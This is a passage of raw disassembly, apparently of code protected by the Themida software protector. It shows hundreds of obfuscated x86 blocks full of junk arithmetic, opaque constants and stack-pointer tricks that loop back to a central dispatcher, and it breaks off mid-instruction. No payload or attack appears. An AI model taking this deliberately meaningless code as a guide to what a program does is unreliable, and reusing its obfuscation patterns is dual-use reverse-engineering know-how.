loc_555A1B ; --------------------------------------------------------------------------- loc_556DA5: ; CODE XREF: Themida_:00557875j add ebx, 1FDC6169h add ebx, eax sub ebx, 1FDC6169h add ebx, 59215D9Bh push ecx mov ecx, 414F71D9h shl ecx, 1 push edi jmp loc_55736A ; --------------------------------------------------------------------------- loc_556DC7: ; CODE XREF: Themida_:005533ACj mov ebp, eax mov eax, [esp] add esp, 4 sub eax, ebp pop ebp pop ecx xor ebx, eax movzx ax, byte ptr [eax] jmp loc_555B17 ; --------------------------------------------------------------------------- loc_556DE1: ; CODE XREF: Themida_:005588AAj add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55D26A ; --------------------------------------------------------------------------- loc_556DF3: ; CODE XREF: Themida_:005596E7j add esp, 4 push 7A6Ah mov [esp], ecx mov ecx, esp jmp loc_5582D3 ; --------------------------------------------------------------------------- loc_556E08: ; CODE XREF: Themida_:005597DCj mov edx, 2 mov ebx, edx mov edx, [esp] jmp loc_555153 ; --------------------------------------------------------------------------- loc_556E17: ; CODE XREF: Themida_:005516D6j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55695F ; --------------------------------------------------------------------------- loc_556E38: ; CODE XREF: Themida_:005525A2j mov edi, 60D76F31h inc edi push edx mov edx, 0A3640FCEh jmp loc_55320F ; --------------------------------------------------------------------------- loc_556E49: ; CODE XREF: Themida_:00556731j add edx, ebp pop ebp add edx, 0E3705C87h mov eax, edx mov edx, [esp] jmp loc_552A40 ; --------------------------------------------------------------------------- loc_556E5C: ; CODE XREF: Themida_:005599CAj jmp loc_551368 ; --------------------------------------------------------------------------- loc_556E61: ; CODE XREF: Themida_:0055496Cj xor ah, bl pop ebx mov bh, 0B2h push ecx jmp loc_556E89 ; --------------------------------------------------------------------------- loc_556E6C: ; CODE XREF: Themida_:00552387j mov ecx, 69BF5ADCh sub eax, ecx pop ecx add eax, 49C946DEh push edx jmp loc_552D37 ; --------------------------------------------------------------------------- loc_556E7F: ; CODE XREF: Themida_:005558F6j pop esi inc esi shl esi, 3 jmp loc_55C0AE ; --------------------------------------------------------------------------- loc_556E89: ; CODE XREF: Themida_:00556E67j mov cl, 0Fh jmp loc_55845B ; --------------------------------------------------------------------------- loc_556E90: ; CODE XREF: Themida_:00551CAEj and ebp, edi mov edi, [esp] push 2C35h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebp, 0F77BDE80h and ecx, ebp mov ebp, [esp] push esi mov esi, esp add esi, 4 push edi push 4 jmp loc_5527E8 ; --------------------------------------------------------------------------- loc_556ECB: ; CODE XREF: Themida_:00554052j pop edi jmp loc_5544BD ; --------------------------------------------------------------------------- loc_556ED1: ; CODE XREF: Themida_:0055D10Fj sub edx, ebp pop ebp or edx, 0A411055h shl edx, 3 shr edx, 6 dec edx add edx, 476CE92h add eax, edx pop edx sub eax, 161A0CF1h add eax, ebx add eax, 161A0CF1h push ebp jmp loc_55878E ; --------------------------------------------------------------------------- loc_556EFC: ; CODE XREF: Themida_:0055ABC8j or eax, 5DB4113Bh and eax, 147F40B8h xor eax, 1436403Ch jmp loc_55575E ; --------------------------------------------------------------------------- loc_556F10: ; CODE XREF: Themida_:0055A0E2j push esp pop ebp jmp loc_55198E ; --------------------------------------------------------------------------- loc_556F17: ; CODE XREF: Themida_:005541D2j push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5545B6 ; --------------------------------------------------------------------------- loc_556F2A: ; CODE XREF: Themida_:005574B0j mov [esp], ecx push 4 pop ecx sub ebp, 79481BCEh add ebp, ecx add ebp, 79481BCEh pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub edx, 16410E41h sub edx, 45031F05h add edx, 1E20400Bh jmp loc_55BD3D ; --------------------------------------------------------------------------- loc_556F65: ; CODE XREF: Themida_:005525FFj mov esi, 0 sub esi, ecx jmp loc_55325D ; --------------------------------------------------------------------------- loc_556F71: ; CODE XREF: Themida_:00557FC2j pop ebx or dl, al pop eax push ebx jmp loc_559CE3 ; --------------------------------------------------------------------------- loc_556F7B: ; CODE XREF: Themida_:0055D088j mov ecx, 439D483Ah push edi jmp loc_55623B ; --------------------------------------------------------------------------- loc_556F86: ; CODE XREF: Themida_:00558EAFj xor edi, 0CCA3FA7h push ebx mov ebx, 4871695Ch xor edi, ebx pop ebx push ebp mov ebp, edi mov eax, ebp jmp loc_55BCCA ; --------------------------------------------------------------------------- mov ax, [esp] push 74ADh mov [esp], ecx push esp push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 408F23E9h sub ebp, 408F23E5h add ecx, ebp jmp loc_55A2B8 ; --------------------------------------------------------------------------- loc_556FC9: ; CODE XREF: Themida_:005541C2j push esi mov esi, 7026418Bh mov edi, 207776E4h jmp loc_55785F ; --------------------------------------------------------------------------- loc_556FD9: ; CODE XREF: Themida_:0055CBC5j sub eax, edi jmp loc_5563FF ; --------------------------------------------------------------------------- loc_556FE0: ; CODE XREF: Themida_:0055B00Dj sub bl, 1Ah jmp loc_5590E2 ; --------------------------------------------------------------------------- loc_556FE8: ; CODE XREF: Themida_:00551D82j pop ebx jmp loc_5529DF ; --------------------------------------------------------------------------- loc_556FEE: ; CODE XREF: Themida_:005577EDj mov bl, 28h push ecx mov ch, bl mov al, ch jmp loc_5566C4 ; --------------------------------------------------------------------------- loc_556FFA: ; CODE XREF: Themida_:0055ADA5j mov [esp], esi mov esi, 6E2C2109h add eax, esi pop esi sub eax, ecx sub eax, 6E2C2109h mov ecx, [esp] push eax jmp loc_55BE67 ; --------------------------------------------------------------------------- loc_557015: ; CODE XREF: Themida_:0055A90Dj sub esi, 20B15824h pop ecx xchg esi, [esp] pop esp movzx ecx, al push 4620h mov [esp], ecx jmp loc_551368 ; --------------------------------------------------------------------------- loc_557030: ; CODE XREF: Themida_:00556684j mov [esp], di jmp loc_552634 ; --------------------------------------------------------------------------- loc_557039: ; CODE XREF: Themida_:00556641j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 push esi mov esi, 455A539Ah dec esi not esi add esi, 455A539Eh add ebx, esi pop esi sub esp, 4 mov [esp], edi mov edi, 1EA17B70h push ecx mov ecx, 1EA17B72h xor edi, ecx pop ecx add ebx, edi jmp loc_55AC5B ; --------------------------------------------------------------------------- loc_557081: ; CODE XREF: Themida_:00553044j mov ebp, esp add ebp, 4 jmp loc_557E60 ; --------------------------------------------------------------------------- loc_55708E: ; CODE XREF: Themida_:0055CA17j mov eax, 1F364B37h jmp loc_55ABC2 ; --------------------------------------------------------------------------- loc_557098: ; CODE XREF: Themida_:005546ECj pop edx jmp loc_55D2B8 ; --------------------------------------------------------------------------- loc_55709E: ; CODE XREF: Themida_:00558729j shr edi, 7 sub edi, 176F0FF4h sub edi, 0FFFFFFFFh jmp loc_55C91D ; --------------------------------------------------------------------------- loc_5570B2: ; CODE XREF: Themida_:0055C850j sub esp, 4 jmp loc_551F38 ; --------------------------------------------------------------------------- loc_5570BA: ; CODE XREF: Themida_:0055BEDCj mov esi, [esp] add esp, 4 add edi, eax sub edi, 3C31323Fh mov eax, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push esi jmp loc_55C518 ; --------------------------------------------------------------------------- loc_5570DD: ; CODE XREF: Themida_:00554E80j pop edx xchg edi, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5570ED: ; CODE XREF: Themida_:005540AAj xor ebp, [esp] pop esp jmp loc_554B98 ; --------------------------------------------------------------------------- loc_5570F6: ; CODE XREF: Themida_:0055B3B5j and eax, esi mov esi, [esp] jmp loc_552A14 ; --------------------------------------------------------------------------- loc_557100: ; CODE XREF: Themida_:00555925j push 0EC0h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_551AA8 ; --------------------------------------------------------------------------- loc_557117: ; CODE XREF: Themida_:00557982j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push esp pop ebp push 5A74h jmp loc_5559D9 ; --------------------------------------------------------------------------- loc_557137: ; CODE XREF: Themida_:005546A3j and eax, 3D950CD2h not eax sub eax, 289463DFh not eax jmp loc_5588AF ; --------------------------------------------------------------------------- loc_55714A: ; CODE XREF: Themida_:005523FEj push ecx mov ecx, 4 add edi, 1DD90546h add edi, ecx sub edi, 1DD90546h jmp loc_5516B7 ; --------------------------------------------------------------------------- loc_557163: ; CODE XREF: Themida_:005581F6j or eax, esi pop esi or eax, 28063EFDh shr eax, 7 jmp loc_553854 ; --------------------------------------------------------------------------- mov cx, [esp] push 5E92h mov [esp], esi push 7D5h jmp loc_558B19 ; --------------------------------------------------------------------------- loc_557189: ; CODE XREF: Themida_:00552B7Cj pop ecx push edx push esp push dword ptr [esp] mov edx, [esp] jmp loc_555BBE ; --------------------------------------------------------------------------- loc_557197: ; CODE XREF: Themida_:005558A7j xor al, ch pop ecx push small 0C7Eh mov [esp], cx jmp loc_551875 ; --------------------------------------------------------------------------- loc_5571A7: ; CODE XREF: Themida_:00552E82j mov ecx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_5571BF: ; CODE XREF: Themida_:0055B336j xor edx, ebp pop ebp mov ebp, 1560315Fh xor ebp, 8E36B7Ah inc ebp inc ebp add ebp, 1DC865BDh jmp loc_552F02 ; --------------------------------------------------------------------------- loc_5571DA: ; CODE XREF: Themida_:0055CE98j mov ecx, esp jmp loc_556A65 ; --------------------------------------------------------------------------- loc_5571E1: ; CODE XREF: Themida_:0055471Dj mov ebp, 2 add eax, ebp mov ebp, [esp] push 66B6h mov [esp], ecx mov ecx, esp jmp loc_55279A ; --------------------------------------------------------------------------- loc_5571FA: ; CODE XREF: Themida_:00554B33j mov ecx, [esp] add esp, 4 sub ecx, 721D31BDh mov esi, [esp] add esp, 4 add esi, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 push 6AE4h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push eax jmp loc_559575 ; --------------------------------------------------------------------------- loc_557261: ; CODE XREF: Themida_:0055B06Bj mov edx, 4 jmp loc_5572B1 ; --------------------------------------------------------------------------- loc_55726B: ; CODE XREF: Themida_:005599BCj add esi, 0FFFFFFFFh jmp loc_55A2DB ; --------------------------------------------------------------------------- loc_557276: ; CODE XREF: Themida_:0055278Fj pop esp jmp loc_55607D ; --------------------------------------------------------------------------- loc_55727C: ; CODE XREF: Themida_:00553BC2j push ecx jmp loc_5519B6 ; --------------------------------------------------------------------------- loc_557282: ; CODE XREF: Themida_:00554928j add [esp+4], edx pop edx pop ecx add ecx, 4 push esi mov esi, 2 add ecx, esi pop esi push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5572B1: ; CODE XREF: Themida_:00557266j add ebx, edx pop edx xchg ebx, [esp] jmp loc_553659 ; --------------------------------------------------------------------------- loc_5572BC: ; CODE XREF: Themida_:005569A3j mov ecx, [esp] add esp, 4 xor eax, ebp pop ebp push 2829h jmp loc_55B9FF ; --------------------------------------------------------------------------- loc_5572CF: ; CODE XREF: Themida_:005590DDj push edx push dword ptr [esp+4] jmp loc_556184 ; --------------------------------------------------------------------------- loc_5572D9: ; CODE XREF: Themida_:00558B1Cj push ebx mov ebx, 4 add [esp+4], ebx mov ebx, [esp] add esp, 4 pop esi push eax push edx jmp loc_551E90 ; --------------------------------------------------------------------------- loc_5572F1: ; CODE XREF: Themida_:00559DC0j add esp, 4 push 3243h mov [esp], esi mov esi, 13055363h jmp loc_55D53B ; --------------------------------------------------------------------------- loc_557306: ; CODE XREF: Themida_:0055BD38j mov eax, 56F52563h add dword ptr [esp+4], 46C4700Ch sub [esp+4], eax sub dword ptr [esp+4], 46C4700Ch jmp loc_55AED8 ; --------------------------------------------------------------------------- loc_557324: ; CODE XREF: Themida_:0055C1E1j add ecx, 4 xchg ecx, [esp] jmp loc_55C3E6 ; --------------------------------------------------------------------------- loc_55732F: ; CODE XREF: Themida_:0055D1E0j shr ecx, 6 shl ecx, 3 sub ecx, 0EF247BE6h mov ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_55A4F0 ; --------------------------------------------------------------------------- loc_55734B: ; CODE XREF: Themida_:0055546Fj pop esp mov [esp], esi mov esi, 7A8C152Fh mov eax, 7A8C15AFh sub eax, esi jmp loc_552513 ; --------------------------------------------------------------------------- loc_557360: ; CODE XREF: Themida_:00559B68j mov esi, 4 jmp loc_553B4C ; --------------------------------------------------------------------------- loc_55736A: ; CODE XREF: Themida_:00556DC2j mov edi, 324DAC43h sub ecx, edi pop edi sub ebx, 56C1012h sub ebx, ecx push ebp mov ebp, 56C1012h jmp loc_55817D ; --------------------------------------------------------------------------- loc_557385: ; CODE XREF: Themida_:0055452Aj push eax mov eax, esp add eax, 4 jmp loc_559D24 ; --------------------------------------------------------------------------- loc_557392: ; CODE XREF: Themida_:00553F22j add esp, 4 add esp, 4 and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_55525F push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi jmp loc_551760 ; --------------------------------------------------------------------------- loc_5573C6: ; CODE XREF: Themida_:005520A0j mov esi, 25114E7Bh sub esi, 25114E77h sub ecx, 5492FCAh add ecx, 6C5F1309h sub ecx, esi sub ecx, 6C5F1309h add ecx, 5492FCAh mov esi, [esp] add esp, 4 xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_557AF7 ; --------------------------------------------------------------------------- loc_557400: ; CODE XREF: Themida_:0055920Bj mov ebp, esp jmp loc_55BAB9 ; --------------------------------------------------------------------------- loc_557407: ; CODE XREF: Themida_:00554BE0j xor edx, [esp] jmp loc_553436 ; --------------------------------------------------------------------------- loc_55740F: ; CODE XREF: Themida_:0055C4D3j mov ebp, 112E0869h push esi mov esi, 47587495h or esi, 1710137Eh jmp loc_5551BB ; --------------------------------------------------------------------------- loc_557425: ; CODE XREF: Themida_:00557A03j sub al, 99h push edx mov dl, 0Ah add bl, dl jmp loc_551F80 ; --------------------------------------------------------------------------- loc_557431: ; CODE XREF: Themida_:0055CBE7j mov ecx, 263D5A3Eh jmp loc_557C3B ; --------------------------------------------------------------------------- loc_55743B: ; CODE XREF: Themida_:005548B0j pop eax add ebx, edx jmp loc_55C976 ; --------------------------------------------------------------------------- loc_557443: ; CODE XREF: Themida_:005597B5j mov ebx, [esp] add esp, 4 pop edx sub esp, 4 mov [esp], edi mov edi, 7037512Ch add ebx, edi mov edi, [esp] sub esp, 4 jmp loc_55D049 ; --------------------------------------------------------------------------- loc_557462: ; CODE XREF: Themida_:00553A18j mov esp, [esp] shr eax, 8 jmp loc_55D4CC ; --------------------------------------------------------------------------- loc_55746D: ; CODE XREF: Themida_:00555D03j pop edi add esp, 4 pop edi push eax mov eax, 6CD859C7h neg eax add eax, 6CD859CBh jmp loc_55CEA2 ; --------------------------------------------------------------------------- loc_557487: ; CODE XREF: Themida_:0055D2C0j pop eax pop ebx pop eax pop ecx jmp loc_553BD4 ; --------------------------------------------------------------------------- loc_557490: ; CODE XREF: Themida_:005513A4j xor ebp, 0D2A6DF5Bh add ecx, ebp pop ebp xchg ecx, [esp] pop esp sub edx, 52C4194Dh add edx, eax jmp loc_5524FB ; --------------------------------------------------------------------------- loc_5574AA: ; CODE XREF: Themida_:0055445Fj sub esp, 4 jmp loc_556F2A ; --------------------------------------------------------------------------- loc_5574B5: ; CODE XREF: Themida_:00553B67j xchg esi, [esp] pop esp jmp loc_55252E ; --------------------------------------------------------------------------- loc_5574BE: ; CODE XREF: Themida_:0055B713j sub eax, 33E76CB2h add eax, 0CD0E6C15h jmp loc_554BE5 ; --------------------------------------------------------------------------- loc_5574CD: ; CODE XREF: Themida_:0055CC98j mov esp, [esp] xor edx, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, 267C4040h shr ebp, 8 add ebp, 54560F4Eh add edx, ebp mov ebp, [esp] add esp, 4 and eax, edx pop edx or eax, eax jz loc_558433 push dword ptr [edi+1Ch] push eax jmp loc_5556AE ; --------------------------------------------------------------------------- loc_557506: ; CODE XREF: Themida_:0055204Aj xor dl, 12h or ah, dl pop edx add ah, 20h jmp loc_55CFED ; --------------------------------------------------------------------------- loc_557514: ; CODE XREF: Themida_:005530FAj add edx, 2C3C79A8h add edx, edi sub edx, 2C3C79A8h mov edi, [esp] add esp, 4 add edx, 4 jmp loc_557974 ; --------------------------------------------------------------------------- loc_557533: ; CODE XREF: Themida_:005587F9j sub eax, 5E744DBh sub esp, 4 mov [esp], esi mov esi, 58C01D3Dh or esi, 1E277E00h push ebp mov ebp, 0E27606B3h sub esi, 48005F6h sub esi, ebp add esi, 48005F6h jmp loc_55604B ; --------------------------------------------------------------------------- loc_557562: ; CODE XREF: Themida_:0055863Bj push 70A7400Ch mov edi, [esp] add esp, 4 sub ecx, 6BE92068h add ecx, edi push edx mov edx, 6BE92068h add ecx, edx pop edx jmp loc_552794 ; --------------------------------------------------------------------------- loc_557586: ; CODE XREF: Themida_:00557BA0j add esi, 3E788A18h jmp loc_551C3D ; --------------------------------------------------------------------------- loc_557591: ; CODE XREF: Themida_:00553B19j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] idiv ecx sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_55C7D1 ; --------------------------------------------------------------------------- loc_5575B2: ; CODE XREF: Themida_:00551792j xor ebx, 5C402EAAh inc ebx or ebx, 7DBB1240h push edi mov edi, 53EE6791h or edi, 4AB31A3Fh neg edi xor edi, 0B1A8936Bh and ebx, edi pop edi or ebx, 5E0B2441h push ecx mov ecx, 6DD9355Eh jmp loc_5535C8 ; --------------------------------------------------------------------------- loc_5575E7: ; CODE XREF: Themida_:0055B198j mov bh, dl jmp loc_55A693 ; --------------------------------------------------------------------------- loc_5575EE: ; CODE XREF: Themida_:00558FB1j add ebp, 4 add ebp, 2 push eax mov eax, esp push edx mov edx, 4 add eax, edx jmp loc_556484 ; --------------------------------------------------------------------------- loc_55760A: ; CODE XREF: Themida_:0055C7CCj mov edx, 0 push edi jmp loc_5538A1 ; --------------------------------------------------------------------------- loc_557615: ; CODE XREF: Themida_:00559A35j xchg ecx, [esp] pop esp mov [esp], edx mov edx, 7EAD5BD1h push esi push ecx mov ecx, 1802022Eh mov esi, 1F821D03h add esi, 3789452Eh add esi, ecx sub esi, 3789452Eh pop ecx or esi, 6F047E53h add esi, 0FA3F8C0Fh or edx, esi mov esi, [esp] add esp, 4 jmp loc_55895A ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push 4843h mov [esp], eax push 3A0h mov [esp], esp jmp loc_55C2F6 ; --------------------------------------------------------------------------- loc_557671: ; CODE XREF: Themida_:0055C1D0j add esp, 4 pop ebp add eax, 1F144DAEh sub eax, esi sub eax, 1F144DAEh mov esi, [esp] add esp, 4 add eax, ebx add eax, 2B7A33AEh push 1D31h jmp loc_559410 ; --------------------------------------------------------------------------- loc_55769E: ; CODE XREF: Themida_:00555000j mov ebp, [esp] add esp, 4 sub ebx, edx pop edx add ebx, edi jmp loc_55B636 ; --------------------------------------------------------------------------- loc_5576B1: ; CODE XREF: Themida_:00552717j add al, cl jmp loc_555FF1 ; --------------------------------------------------------------------------- loc_5576B8: ; CODE XREF: Themida_:0055BE4Aj add edx, 4 jmp loc_554E1D ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55831D ; --------------------------------------------------------------------------- loc_5576C9: ; CODE XREF: Themida_:00556921j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_551368 ; --------------------------------------------------------------------------- loc_5576DD: ; CODE XREF: Themida_:005533FAj sub esp, 2 mov [esp], dx sub esp, 4 mov [esp], eax mov ah, 0F8h mov dl, 94h xor dl, ah pop eax xor al, dl mov dx, [esp] push esi push esp pop esi push ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55A56E ; --------------------------------------------------------------------------- loc_557713: ; CODE XREF: Themida_:0055433Fj xor esi, 0C3CCFC4Bh add edx, esi pop esi xchg edx, [esp] pop esp bts [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55772B: ; CODE XREF: Themida_:0055217Aj mov eax, esp push ebp push eax mov eax, 3ACA585Ah jmp loc_557D4E ; --------------------------------------------------------------------------- loc_557739: ; CODE XREF: Themida_:00555C9Ej push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp shr ecx, 6 sub esp, 4 mov [esp], ebx push 636Dh jmp loc_5581C4 ; --------------------------------------------------------------------------- loc_557756: ; CODE XREF: Themida_:00559BD6j add ch, 7Bh add ch, 86h jmp loc_556A59 ; --------------------------------------------------------------------------- loc_557761: ; CODE XREF: Themida_:0055D073j push edx mov edx, 53AB7B28h push 6F68h jmp loc_5599B3 ; --------------------------------------------------------------------------- loc_557771: ; CODE XREF: Themida_:0055C112j push 368Bh mov [esp], ecx jmp loc_554D6C ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_554B8B ; --------------------------------------------------------------------------- loc_557787: ; CODE XREF: Themida_:00553E86j and edx, 5DEB2025h sub esp, 4 mov [esp], ecx mov ecx, 37FA2289h and edx, ecx jmp loc_55C124 ; --------------------------------------------------------------------------- loc_55779F: ; CODE XREF: Themida_:005561EEj pop esp push 714Bh jmp loc_55C48E ; --------------------------------------------------------------------------- loc_5577AA: ; CODE XREF: Themida_:00551EB6j pop ebx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_554E0B ; --------------------------------------------------------------------------- loc_5577BA: ; CODE XREF: Themida_:00559E78j pop eax push ebx push esp pop ebx add ebx, 4 push eax jmp loc_5544B3 ; --------------------------------------------------------------------------- loc_5577CA: ; CODE XREF: Themida_:005567A3j shr ebp, 5 shr ebp, 6 shr ebp, 6 xor ebp, 7B97h mov edi, ebp jmp loc_558D62 ; --------------------------------------------------------------------------- loc_5577E0: ; CODE XREF: Themida_:0055417Cj sub al, bl push ebx push 53E9h mov [esp], eax push bx jmp loc_556FEE ; --------------------------------------------------------------------------- loc_5577F2: ; CODE XREF: Themida_:0055AF0Aj push 0BECh mov [esp], ebp push edx push 62D11FC9h pop edx jmp loc_5596EC ; --------------------------------------------------------------------------- loc_557806: ; CODE XREF: Themida_:00556353j add esi, ebx sub esi, 7BAD3FCBh pop ebx add esi, 24582E5Ah sub esi, ebp push ebx jmp loc_554542 ; --------------------------------------------------------------------------- loc_55781D: ; CODE XREF: Themida_:0055857Fj mov ebx, 4 add ebp, ebx pop ebx jmp loc_557A7C ; --------------------------------------------------------------------------- loc_55782A: ; CODE XREF: Themida_:0055330Dj neg eax add eax, 0EAE724DFh mov ecx, eax pop eax push ebx mov ebx, 12217192h xor ebx, 0B9B2CEA1h add ecx, ebx pop ebx push ecx mov ecx, 2A9770E1h add ecx, 10D3F947h sub edi, ecx jmp loc_555474 ; --------------------------------------------------------------------------- loc_557856: ; CODE XREF: Themida_:00555B5Fj mov ecx, esi mov ebx, ecx jmp loc_555278 ; --------------------------------------------------------------------------- loc_55785F: ; CODE XREF: Themida_:00556FD4j xor edi, esi mov esi, [esp] add esp, 4 add ebx, edi mov edi, [esp] add esp, 4 sub ebx, 59215D9Bh jmp loc_556DA5 ; --------------------------------------------------------------------------- loc_55787A: ; CODE XREF: Themida_:0055983Dj mov esi, 5179780Bh sub dword ptr [esp+4], 330496Eh sub [esp+4], esi add dword ptr [esp+4], 330496Eh mov esi, [esp] add esp, 4 pop ebp jmp loc_55145D ; --------------------------------------------------------------------------- loc_55789F: ; CODE XREF: Themida_:005560ECj push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] jmp loc_555F88 ; --------------------------------------------------------------------------- loc_5578B6: ; CODE XREF: Themida_:0055B001j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_553DCA ; --------------------------------------------------------------------------- loc_5578C9: ; CODE XREF: Themida_:0055C1BAj mov eax, [esp] add esp, 4 and edx, 7D6C1095h xor edx, 779B5440h not edx sub edx, 0EB40A3E8h push edi mov edi, 2DC84DC5h sub ebp, edi pop edi sub ebp, edx push esi mov esi, 2DC84DC5h jmp loc_55A247 ; --------------------------------------------------------------------------- loc_5578F9: ; CODE XREF: Themida_:00552A3Bj push 25ACh mov [esp], ebx push ecx mov ecx, 3A6B46CDh mov ebx, ecx pop ecx push ebp mov ebp, 1153DEh sub ebp, 0B1954E21h jmp loc_5513C4 ; --------------------------------------------------------------------------- loc_55791B: ; CODE XREF: Themida_:00559F3Ej push edx mov dh, 3Fh add dh, 50h sub cl, dh mov edx, [esp] add esp, 4 sub cl, 0A6h neg cl neg cl add cl, 72h push edx jmp loc_55B5CE ; --------------------------------------------------------------------------- loc_55793C: ; CODE XREF: Themida_:005592D1j pop esi neg ebx or ebx, 62E34588h neg ebx jmp loc_558F2F ; --------------------------------------------------------------------------- loc_55794C: ; CODE XREF: Themida_:0055C10Cj push ebx push esi mov esi, 787E525Fh sub esi, 787E525Fh mov ebx, esi pop esi jmp loc_553BD9 ; --------------------------------------------------------------------------- loc_557961: ; CODE XREF: Themida_:00556BB9j add bl, 6Bh jmp loc_5534F1 ; --------------------------------------------------------------------------- loc_557969: ; CODE XREF: Themida_:0055D497j xor esi, [esp] xor [esp], esi jmp loc_55847B ; --------------------------------------------------------------------------- loc_557974: ; CODE XREF: Themida_:0055752Ej xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp loc_55797E: ; CODE XREF: Themida_:00559CB8j push ebx mov eax, [esp] jmp loc_557117 ; --------------------------------------------------------------------------- loc_557987: ; CODE XREF: Themida_:0055A9B9j mov edi, eax pop eax add eax, 73A67F6Eh add eax, 47E37332h push edx mov edx, 396E5E21h neg edx jmp loc_55CBBC ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 push ebx mov ebx, 4 add ecx, 119A620Ah jmp loc_55337C ; --------------------------------------------------------------------------- loc_5579CF: ; CODE XREF: Themida_:005535D8j sub dl, 9Dh sub al, dl pop edx add bl, 0C5h add bl, al jmp loc_55ADEC ; --------------------------------------------------------------------------- loc_5579DF: ; CODE XREF: Themida_:00558417j btc [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5579EA: ; CODE XREF: Themida_:00554EC1j add esp, 4 push ebx jmp loc_55D36C ; --------------------------------------------------------------------------- loc_5579F3: ; CODE XREF: Themida_:0055541Aj pop edi xchg eax, [esp] pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_5579FD: ; CODE XREF: Themida_:00558A65j mov ebx, [esp] add esp, 4 jmp loc_557425 ; --------------------------------------------------------------------------- loc_557A08: ; CODE XREF: Themida_:005567EDj xor ebx, ecx pop ecx sub eax, 0D762B9Ch add eax, ebx add eax, 0D762B9Ch pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_552B79 ; --------------------------------------------------------------------------- loc_557A27: ; CODE XREF: Themida_:00557E5Bj add esp, 4 pop ebp add ebp, eax pop eax xchg ebp, [esp] pop esp mov eax, [esp] push esi push 282Bh push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 add esi, 4 push 597h mov [esp], ecx jmp loc_5540D7 ; --------------------------------------------------------------------------- loc_557A60: ; CODE XREF: Themida_:0055D536j xchg esi, [esp] mov esp, [esp] add esp, 4 push 3299h mov [esp], esi jmp loc_55299D ; --------------------------------------------------------------------------- loc_557A76: ; CODE XREF: Themida_:0055CDA9j pop edi jmp loc_55BBE9 ; --------------------------------------------------------------------------- loc_557A7C: ; CODE XREF: Themida_:00557825j push 5890h mov [esp], ebx mov ebx, 2 add ebp, 0A202C90h jmp loc_5533FF ; --------------------------------------------------------------------------- loc_557A94: ; CODE XREF: Themida_:00551F33j add eax, edx add eax, 330113E9h pop edx pop esi add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp push eax mov eax, 0FF978C7h dec eax and eax, 5EC03164h shl eax, 2 add eax, 2D382D86h neg eax jmp loc_55A31C ; --------------------------------------------------------------------------- loc_557ACA: ; CODE XREF: Themida_:0055813Aj pop edx mov [edx+38h], ebp pop ebp loc_557ACF: ; CODE XREF: Themida_:00558BDFj sub esp, 4 jmp loc_55CAC0 ; --------------------------------------------------------------------------- loc_557ADA: ; CODE XREF: Themida_:00555020j add al, 2Bh jmp loc_55313B ; --------------------------------------------------------------------------- loc_557AE1: ; CODE XREF: Themida_:0055D326j push edx push 68381317h jmp loc_55617E ; --------------------------------------------------------------------------- loc_557AEC: ; CODE XREF: Themida_:0055AC60j push ebx push 55E5h jmp loc_5514D6 ; --------------------------------------------------------------------------- loc_557AF7: ; CODE XREF: Themida_:005573FBj mov ebx, eax push ebp mov ebp, ebx mov eax, ebp jmp loc_55582B ; --------------------------------------------------------------------------- loc_557B03: ; CODE XREF: Themida_:00552128j or eax, eax jz loc_559DA3 push dword ptr [edi+1Ch] push 3F59h mov [esp], edx push ebp mov ebp, 462205D3h push eax mov eax, 